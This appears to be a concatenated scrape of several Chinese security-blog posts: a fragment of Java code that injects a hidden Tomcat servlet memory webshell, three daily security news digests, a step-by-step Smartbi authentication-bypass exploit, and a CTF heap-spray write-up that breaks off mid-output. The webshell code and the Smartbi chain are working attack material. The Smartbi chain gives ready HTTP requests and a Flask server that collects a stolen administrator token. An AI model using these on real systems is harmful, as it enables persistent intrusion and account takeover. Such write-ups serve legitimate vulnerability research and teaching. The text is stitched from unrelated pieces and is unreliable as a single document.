(org.apache.catalina.connector.Request) req.getNote(1);            ServletContext servletContext = request.getServletContext();            Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性            applicationContextField.setAccessible(true);//设置该属性可访问性为True            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值            Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值            standarContextField.setAccessible(true);//设置该属性可访问性为True            StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext //注册Servlet            Wrapper wrapper  = context.createWrapper();//创建一个Wrapper            wrapper.setName("MemShellServlet");//设置Servlet名字            wrapper.setServletClass(exp.class.getName());            wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet            context.addChild(wrapper);//添加进Context            context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping       } catch (Exception e) {       }   } } 使用哥斯拉木马注入Tomcat Servlet内存马 在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码) 需要访问两次才能触发 成功注入内存马
网络安全日报 2023年09月04日
1、Anonymous Sudan组织针对X(Twitter)应用程序进行网络攻击 https://www.bbc.com/news/technology-66668053 周二上午,Anonymous Sudan 的黑客组织攻击了 X(以前称为 Twitter),影响到了十多个国家,试图向埃隆·马斯克施压,迫使其在这些国家推出星链服务。X 宕机了两个多小时,数千用户受到影响。黑客在 Telegram 上发帖称:“让我们的信息传达给埃隆·马斯克:‘在苏丹开放星链’。” 研究人员在聊天应用程序 Telegram 上与该小组进行了数周的私人对话,并与黑客谈论了他们的方法和动机。 2、研究人员披露Spring-Kafka反序列化零日漏洞 https://www.contrastsecurity.com/security-influencers/contrast-assess-uncovers-spring-kafka-deserialization-zero-day 8 月初,安全厂商的用户报告了他们最初认为是误报的情况: Spring-Kafka中存在反序列化漏洞。 Spring 由 VMware 和 Pivotal Software 开发,是一个用于构建企业 Java 应用程序的开源框架,而 Spring for Apache Kafka (Spring-Kafka) 项目将 Spring 的核心概念应用于基于 Kafk 3、开源工具SapphireStealer可用于窃取凭证和数据 https://blog.talosintelligence.com/sapphirestealer-goes-open-source/ SapphireStealer 是一种开源信息窃取程序,自 2022 年 12 月首次公开发布以来,在公共恶意软件存储库中出现的频率不断增加。SapphireStealer 等信息窃取恶意软件可用于获取敏感信息,包括公司凭证,这些信息通常会转售给其他攻击者,这些攻击者利用该访问权限进行其他攻击,包括与间谍活动或勒索软件相关的操作。SapphireStealer 似乎是作为多阶段感染过程的一部分进行攻击的,攻击者利用 FUD-Loader 等开源恶意软件下载 4、研究人员披露Andariel组织攻击活动 https://asec.ahnlab.com/en/56405/ Andariel 威胁组织通常针对韩国企业和组织,隶属于 Lazarus 威胁组织或其子公司之一。自2008年以来,针对韩国目标的攻击已被确定。主要目标行业是国防、政治组织、造船、能源和通信等与国家安全相关的行业。韩国的其他各种公司和机构,包括大学、物流和信息通信技术公司也成为攻击目标。研究人员发现存在大量用 Go 语言开发的恶意软件样本。在使用 Innorix Agent 的攻击案例中,使用了用 Go 开发的 Reverse Shell。随后 Black RAT 被用于针对韩国公司的攻击。除了Go版本之外,DurianBe 5、LockBit勒索软件组织针对蒙特利尔电力委员会进行攻击 https://therecord.media/montreal-electricity-organization-lockbit-victim 周三,LockBit勒索软件组织声称对蒙特利尔电力服务委员会 (CSEM) 进行了攻击,该委员会是一个拥有 100 年历史的市政组织,负责管理蒙特利尔市的电力基础设施。该市政组织周二证实了这一事件,并在一份声明中写道,该市政组织于 8 月 3 日遭到勒索软件攻击,但拒绝支付赎金。它联系了魁北克省的国家当局和执法部门,同时尽一切努力恢复其系统。该公司表示,其 IT 基础设施已经重建。参与此案的犯罪组织今天公开了一些被盗数据。CSEM 谴责这种非法行为 6、研究人员披露攻击者利用Adobe ColdFusion漏洞进行攻击活动 https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities 今年 7 月,Adobe 公司发布了一系列安全更新: APSB23-40 、 APSB23-41 和 APSB23-47 ,以回应其 ColdFusion 解决方案中针对预身份验证远程代码执行(RCE)漏洞的利用报告。研究人员对这些漏洞的深入分析,其中包括 Adobe ColdFusion 2021 内 WDDX 反序列化过程中的一个重大漏洞。然而,安全更新后,遥测数据继续检测到大量利用 7、WordPress迁移插件漏洞可能导致数据泄露 https://patchstack.com/articles/pre-auth-access-token-manipulation-in-all-in-one-wp-migration-extensions/ All-in-One WP Migration 是一款流行的 WordPress 网站数据迁移插件,拥有 500 万个活跃安装量,它受到未经身份验证的访问令牌操纵的影响,可能允许攻击者访问敏感的网站信息。All-in-One WP Migration 是一款用户友好的 WordPress 网站迁移工具,适合非技术和缺乏经验的用户,允许将数据库、媒体、插件和主题无缝导出到单个存档中,以 8、研究人员开发Key Group勒索软件解密器以恢复数据 https://blog.eclecticiq.com/decrypting-key-group-ransomware-emerging-financially-motivated-cyber-crime-gang Key Group 是一家讲俄语的威胁组织,于 2023 年初突然采取行动,攻击各种组织,从受感染的系统窃取数据,然后使用私人 Telegram 渠道协商赎金支付。俄罗斯威胁情报公司 BI.ZONE 此前曾报道称,Key Group 的勒索软件基于 Chaos 4.0 构建器,而研究人员则发现该组织在俄语暗网市场上销售窃取的数据和 SIM 卡,并共享人肉搜索数据和远程访问到网络摄 9、Classiscam诈骗即服务业务非法获利6450万美元 https://www.group-ib.com/blog/classiscam-2023/ 自 2019 年推出以来,Classiscam 诈骗即服务计划已为犯罪分子获取了 6450 万美元的非法收入。Classiscam 活动最初始于分类网站,诈骗者在这些网站上放置虚假广告,并利用社会工程技术说服用户通过将钱转入银行卡来购买商品。从那时起,Classiscam 活动已变得高度自动化,并且可以在许多其他服务上运行,例如在线市场和拼车网站。大多数受害者来自欧洲(62.2%),其次是中东和非洲(18.2%)以及亚太地区(13%)。德国、波兰、西班牙、意大利和罗马尼亚在 Classiscam 聊 10、Lazarus组织使用VMConnect恶意软件进行供应链攻击 https://www.reversinglabs.com/blog/vmconnect-supply-chain-campaign-continues 8 月初,研究人员发现了一个恶意供应链活动,将其称为“VMConnect”。该活动包括发布到 Python 包索引 (PyPI) 开源存储库的两打恶意 Python 包。这些软件包模仿了流行的开源Python工具,包括vConnector ,这是一个用于pyVmomi VMware vSphere绑定的包装模块;eth-tester,用于测试基于以太坊的应用程序的工具集合;和数据库,一种为一系列数据库提供异步支持的工具。 研究人员继续监控 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
smartbi token回调获取登录凭证漏洞(二)
2023年8月8日Smartbi官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过,未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01 分析过程 阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setAddress有关 是上一个漏洞的绕过,是发现了/smartbix/api/monitor/setAddress接口可以未授权设置SERVICE_ADDRESS、ENGINE_ADDRESS,只不过多了一步DES解密的过程(这个上次看的时候就发现了,但是由于将c_address、和u_address看成同一个了以为不能利用,只能说很多师傅都在看smartbi,只要一有新的洞,绕过很快就出来了) 查看CommonUtil.desDecode方法,其实也只是进行DES解密,密钥为isPassword 故只需要按照该算法进行加密恶意参数就可以设置SERVICE_ADDRESS、ENGINE_ADDRESS为伪造服务器地址,用于接收token 0x02 分析结果 第一步,获取之前的EngineAddress 首先通过/smartbi/smartbix/api/monitor/engineInfo/接口获取之前的engineAddress、serviceAddress这是因为要进行修改设置,需要提供之前的地址 POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 4 第二步,设置EngineAddress为攻击者机器上的伪造http服务地址 通过/smartbi/smartbix/api/monitor/setAddress/接口设置engineAddress为fake server地址该接口的参数需要进行DES加密,参数明文为 { "type": "experiment", "c_address": "http://10X.0.0.1:8010", "u_address": "http://10x.0.0.55:8000" } c_address填写上述第一步获取得到的engineAddress,加密得到密文, u_address设置为新的engineAddress,可以理解为用于接收token的fake server地址,此处设置为http://10x.0.0.55:8000,这个是一个用flask搭建的fake server,上面只注册了/api/v1/configs/engine/smartbitoken路由 from flask import Flask,jsonify,request app = Flask(__name__) @app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"]) def hello():    print(request.json)    return jsonify(hi="jello") if __name__ == "__main__":    app.run(host="0.0.0.0",port=8000) POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 208 312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372 从响应来看返回true,即修改成功 第三步,触发smartbi向刚刚设置的EngineAddress外发token POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1 Host: 127.0.0.1:18080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 10 experiment 发送相关请求后,即可在我们的fake server上面看到了携带token的请求 第四步,使用上面获取的token进行登录 POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 47 admin_xxxxxxxxxxxxxxxxx84f50082 返回true表示登录成功,其中的cookie就是admin账户的合法凭证
网络安全日报 2023年09月01日
1、密歇根大学遭遇网络攻击后被迫关闭网络 https://umich.edu/announcements/ 密歇根大学为了应对网络安全事件,已将所有系统和服务下线,在开课前一天晚上对在线服务造成了广泛影响。密歇根大学 (UM) 是美国历史最悠久、规模最大的教育机构之一,拥有 30000 多名学术和行政人员,大约有 51000 名学生。从周日开始,该大学网站上发布了一系列公告 ,一次网络安全事件导致 IT 中断,并中断了对重要在线服务的访问,包括 Google、Canvas、Wolverine Access 和电子邮件。尽管密歇根大学聘请 IT 团队来恢复受影响的系统,但由于事件的严重性,管理层认为断开密歇根大学网络与互联网的连接是最 2、DreamBus僵尸网络利用RocketMQ漏洞感染服务器 https://blogs.juniper.net/en-us/threat-research/dreambus-botnet-resurfaces-targets-rocketmq-vulnerability 新版本的 DreamBus 僵尸网络恶意软件利用 RocketMQ 服务器中的严重远程代码执行漏洞来感染设备。被利用的漏洞被追踪为 CVE-2023-33246,是一个权限验证问题,影响 RocketMQ 5.1.0 及更早版本,允许攻击者在某些条件下执行远程命令。研究人员发现了最近利用该缺陷的 DreamBus 攻击,他们报告称该活动在 2023 年 6 月中旬出现激增。在 202 3、新型安卓恶意软件MMRat利用Protobuf协议窃取数据 https://www.trendmicro.com/en_us/research/23/h/mmrat-carries-out-bank-fraud-via-fake-app-stores.html 新型安卓银行恶意软件 MMRat 利用很少使用的通信方法(protobuf 数据序列化)来更有效地从受感染的设备窃取数据。MMRat 于 2023 年 6 月下旬首次被发现,主要针对东南亚用户,并且在 VirusTotal 等防病毒扫描服务中仍未被发现。虽然研究人员不知道恶意软件最初是如何传播给受害者的,但他们发现 MMRat 是通过伪装成官方应用商店的网站分发的。受害者下载并安装携带 MMR 4、研究人员演示利用Microsoft Entra ID提升权限技术 https://www.secureworks.com/research/power-platform-privilege-escalation 研究人员发现,通过利用废弃的回复 URL 与 Microsoft Entra ID(以前称为 Azure Active Directory)应用程序相关的权限升级案例。攻击者可以利用这个废弃的 URL 将授权代码重定向到自己,用非法获取的授权代码交换访问令牌。然后,攻击者可以通过中间层服务调用 Power Platform API 并获得提升的权限。研究人员还提供了一个开源工具用来扫描废弃的回复 URL。 5、微软警告AiTM网络钓鱼攻击活动增多 https://thehackernews.com/2023/08/phishing-as-service-gets-smarter.html 微软警告称,AiTM 网络钓鱼技术有所增加,这些技术正在作为网络钓鱼即服务 (PhaaS) 网络犯罪模型的一部分进行传播。除了支持 AiTM 的 PhaaS 平台有所增加之外,微软还指出,PerSwaysion 等现有的网络钓鱼服务正在整合 AiTM 功能。微软威胁情报团队发布的一系列帖子中表示:“PhaaS 生态系统的这一发展使攻击者能够进行大量网络钓鱼活动,试图大规模规避 MFA 保护。”具有 AiTM 功能的网络钓鱼工具包以两种方式工作,其中一 6、Akira 勒索软件针对未配置多重身份验证的 Cisco ASA https://securityaffairs.com/150157/cyber-crime/cisco-asa-ransomware-attacks.html 思科了解到Akira 勒索软件威胁行为者针对未配置多重身份验证的 Cisco ASA VPN 实施了攻击。 7、朝鲜黑客在 PyPI 存储库中部署新的恶意 Python 包 https://thehackernews.com/2023/08/north-korean-hackers-deploy-new.html 作为正在进行的名为VMConnect的恶意软件供应链活动的一部分,在软件包索引 (PyPI) 存储库中还发现了另外三个流氓 Python 软件包,有迹象表明朝鲜国家支持的威胁行为者参与其中。 8、Netgear 发布了两个高严重性漏洞的补丁 https://therecord.media/netgear-releases-patches-for-two-bugs 网络硬件巨头 Netgear 发现了两个漏洞,影响其一款路由器型号及其网络管理软件。其中一个漏洞(编号为 CVE-2023-41183)允许黑客利用 Netgear 的 Orbi 760 路由器。 9、美国国家安全委员会数据泄露,影响包括政府组织和2000多家公司 https://securityaffairs.com/150138/security/nasa-tesla-doj-verizon-2k-leaks.html 美国国家安全委员会泄露了其成员的近万封电子邮件和密码,影响包括政府组织和大公司在内的 2000 家公司。 10、NoName057(16)组织针对波兰证券交易所和银行进行网络攻击 https://cybernews.com/cyber-war/polish-stock-exchange-banks-knocked-offline-by-pro-russian-hackers/ 俄罗斯背景的 NoName057(16) 组织于周一上午 10 点左右在他们的加密 Telegram 频道上宣布了针对波兰的网络攻击事件。该组织的第一个目标是华沙证券交易所。该组织发布消息称:“为了向所有反对本国当局陷入恐俄症的波兰公民表示支持,我们今天的 DDoS 攻击瞄准了波兰目标。”然而,该组织继续对几家波兰主要商业银行提出索赔,包括北高银行、Raiffeisen 银行、Plus 银行、农 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年08月31日
1、研究人员披露BLISTER恶意软件加载程序新变种 https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader BLISTER 是一种恶意软件加载程序,最初发现于 2021 年,与经济动机的入侵相关。在首次发现两年后,研究人员发现了更新的 SOCGHOLISH 感染链,用于分发 BLISTER 并部署来自 MYTHIC 的有效负载。研究人员发现了 BLISTER 系列以前不具备的新功能,表明该恶意软件仍在进行开发。该恶意软件继续使用一种独特的技术,将恶意代码嵌入到合法的应用程序中,编写大量的良性代码和使用加密来避免 2、Cisco NX-OS软件存在远程身份验证漏洞 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-remoteauth-dos-XB6pv74m Cisco NX-OS 软件的 TACACS+ 和 RADIUS 远程身份验证中的漏洞可能允许未经身份验证的本地攻击者导致受影响的设备意外重新加载。如果为 TACACS+ 或 RADIUS 启用了定向请求选项,则此漏洞是由于处理身份验证尝试时的输入验证不正确造成的。攻击者可以通过在受影响设备的登录提示符下输入精心设计的字符串来利用此漏洞。成功利用此漏洞可能会让攻击 3、KittenSec组织称针对北约国家和私营部门进行网络攻击 https://cyberscoop.com/kittensec-hacktivism-corruption/ KittenSec黑客组织声称,在过去的一个月里,它袭击了多个北约国家的政府和私营部门的计算机系统,并通过揭露腐败来证明其攻击的合理性。 4、严重 RCE 漏洞影响 VMware Aria Operations Networks https://securityaffairs.com/150079/security/vmware-aria-operations-networks-rce.html VMware 修复了 Aria Operations for Networks 中的两个安全漏洞,这些漏洞可被用来绕过身份验证并获得远程代码执行。 5、BGP 漏洞可被利用造成长时间的互联网中断 https://www.securityweek.com/bgp-flaw-can-be-exploited-for-prolonged-internet-outages/ 一位研究人员周二警告说,影响几个主要边界网关协议(BGP)实施的严重缺陷可能会被利用导致长时间的互联网中断,但一些供应商并没有修补它。 6、DreamBus僵尸网络利用RocketMQ漏洞植入恶意挖矿程序 https://www.securityweek.com/dreambus-botnet-exploiting-rocketmq-vulnerability-to-delivery-cryptocurrency-miner/ DreamBus 僵尸网络在中断两年后重新出现,人们发现它利用最近修补的 Apache RocketMQ 漏洞进行攻击,其目标是进行恶意挖矿。 7、Qakbot 被FBI摧毁,并向受感染的70W台机器下发了自动卸载程序 https://www.securityweek.com/operation-duck-hunt-qakbot-malware-disrupted-8-6-million-in-cryptocurrency-seized/ 执法当局周二宣布跨境捣毁臭名昭著的 Qakbot 网络犯罪活动,该活动通过勒索软件和金融欺诈攻击袭击了全球超过 70 万台计算机。这次行动被称为“猎鸭行动”,包括接管 Qakbot 基础设施和分发一个软件实用程序,以自动从受感染的计算机上卸载 Qakbot恶意软件。 8、MMRat Android 木马通过远程控制设备并进行金融欺诈 https://thehackernews.com/2023/08/mmrat-android-trojan-executes-remote.html 自 2023 年 6 月下旬以来,一种名为MMRat的先前未记录的 Android 银行木马以东南亚的移动用户为目标,远程控制设备并进行金融欺诈。 9、黑客可以利用 Windows 容器隔离框架绕过端点安全 https://thehackernews.com/2023/08/hackers-can-exploit-windows-container.html 新发现表明,恶意行为者可以利用偷偷摸摸的恶意软件检测规避技术,并通过操纵 Windows 容器隔离框架来绕过端点安全解决方案。Deep Instinct 安全研究员 Daniel Avinoam 在本月早些时候举行的DEF CON 安全会议上介绍了这一发现。 10、Microsoft 向 Exchange Server 2016 和 2019 添加 HSTS 支持 https://www.bleepingcomputer.com/news/security/microsoft-adds-hsts-support-to-exchange-server-2016-and-2019/ Microsoft 今天宣布,Exchange Server 2016 和 2019 现在支持 HTTP 严格传输安全(也称为 HSTS)。HSTS 是一种 Web 服务器指令,指示网站(例如适用于 Exchange Server 的 OWA 或 ECP)仅允许通过 HTTPS 进行连接,从而保护它们免受通过协议降级和 cookie 劫持触发的中间人 (MitM) 攻击。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
从2023蓝帽杯0解题heapSpary入门堆喷
关于堆喷 堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。 这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。 前言 此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。 题目分析 checksec ❯ checksec main [*] '/root/P-W-N/bulue/main'   Arch:     i386-32-little   RELRO:   Full RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled 保护全开,很常规。 这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。 先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址 // positive sp value has been detected, the output may be wrong! void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>) { int v2; // esi int v3; // [esp-4h] [ebp-4h] BYREF char *retaddr; // [esp+0h] [ebp+0h] BYREF v2 = v3; v3 = a1; __libc_start_main(   (int (__cdecl *)(int, char **, char **))sub_1D64,   v2,   &retaddr,   (void (*)(void))sub_1D90,   (void (*)(void))sub_1E00,   a2,   &v3); __halt(); } 这个main没什么好看的,快进到初始化和菜单 初始化如下 unsigned int sub_134D() { unsigned int result; // eax unsigned int buf; // [esp+0h] [ebp-18h] BYREF int fd; // [esp+4h] [ebp-14h] int v3; // [esp+8h] [ebp-10h] unsigned int v4; // [esp+Ch] [ebp-Ch] v4 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, &buf, 4u) < 0 )   exit(0); close(fd); srand(buf); v3 = rand(); malloc(4 * (v3 % 1638)); result = __readgsdword(0x14u) ^ v4; if ( result )   sub_1E10(); return result; } 初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。 来看菜单,4是不存在的虚空功能 int sub_15E4() { puts("========Welcome to new heap game========"); puts("1. Create Heap."); puts("2. Show Heap."); puts("3. Delete Heap."); puts("4. Change Heap."); puts("5. Action."); puts("6. Exit."); return printf("Please give me your choose : "); } 我们直接来先看看后门函数5 int sub_1C14() { int result; // eax unsigned int v1; // [esp+Ch] [ebp-1Ch] int v2; // [esp+10h] [ebp-18h] printf("Please input heap index : "); v1 = sub_1461(); if ( v1 > 0xFFF || !dword_4060[2 * v1] )   return puts("Error happened."); v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1]; if ( !**(_DWORD **)v2 )   return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag"); result = *(_DWORD *)v2; --**(_DWORD **)v2; return result; } 关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。 来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1]; 这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如 0x565a1060:     0x57aebf90     0x00000100 得到的就是0x57aec090 然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下 0x57aec090 —▸ 0x57aeb300 ◂— 0x0 0x57aeb300内存如下(0xf7d99781为system地址) pwndbg> x/32wx 0x57aeb300 0x57aeb300:     0x00000000     0xf7d99781     0x00000000     0xf7d99781 分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数 _DWORD *sub_1690() { _DWORD *result; // eax int i; // [esp+4h] [ebp-34h] int k; // [esp+8h] [ebp-30h] int j; // [esp+Ch] [ebp-2Ch] int m; // [esp+10h] [ebp-28h] int v5; // [esp+14h] [ebp-24h] int v6; // [esp+18h] [ebp-20h] int v7; // [esp+1Ch] [ebp-1Ch] for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )   ; if ( (int *)i == off_4010 )   return (_DWORD *)puts("Ooops! Here is no space for you."); printf("How much space do you need : "); v5 = sub_1461(); if ( v5 <= 0 || v5 > 0x20000 )   return (_DWORD *)printf("Ooops! I can't allocate these spaces to you."); for ( j = 0; j <= 15; ++j ) {   for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )     ;   dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);   dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;   if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )   {     puts("Ooops! Some error happened.");     exit(-1);   } } for ( m = 0; m <= 15; ++m ) {   puts("Please input your head data.");   sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);   puts("Which flag do you want?");   v6 = sub_1461();   v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];   switch ( v6 )   {     case 1:       *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;       break;     case 2:       *(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;       break;     case 3:       *(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;       break;     case 4:       *(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;       break;   } } printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1); result = dword_4040; dword_4040[0] = i; return result; } 我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。 int __cdecl sub_14BA(char *buf, int a2) { while ( a2 ) {   if ( read(0, buf, 1u) != 1 )     exit(-1);   if ( *buf == 10 )   {     *buf = 0;     break;   }   ++buf; } *buf = 0; return 0; } 我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。 他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值 dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)]; 可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3..... 如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作 case 1:       *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24; 就会得到内容如下(此处字节码只做替代作用,非真实情况) 0x100:a 0x101:\x01 0x102:\x02 0x103:\x03 0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖) 0x105:libc or heap 0x106:libc or heap 0x107:libc or heap 要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符 0x100:a 0x101:\x00 0x102:libc or heap .................. 也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。 对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。 所以泄露操作的exp如下,直接破坏他们的链表 create_heap(0xa0, b'1','data',4) create_heap(1, b'1','data',4) create_heap(0x60, b'1','data',4) create_heap(1, b'1','data',4) delete_heap() delete_heap() delete_heap() delete_heap() create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) bin如下 pwndbg> bin tcachebins 0x10 [ 7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0 0x70 [ 7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0 0xb0 [ 7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0 fastbins 0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 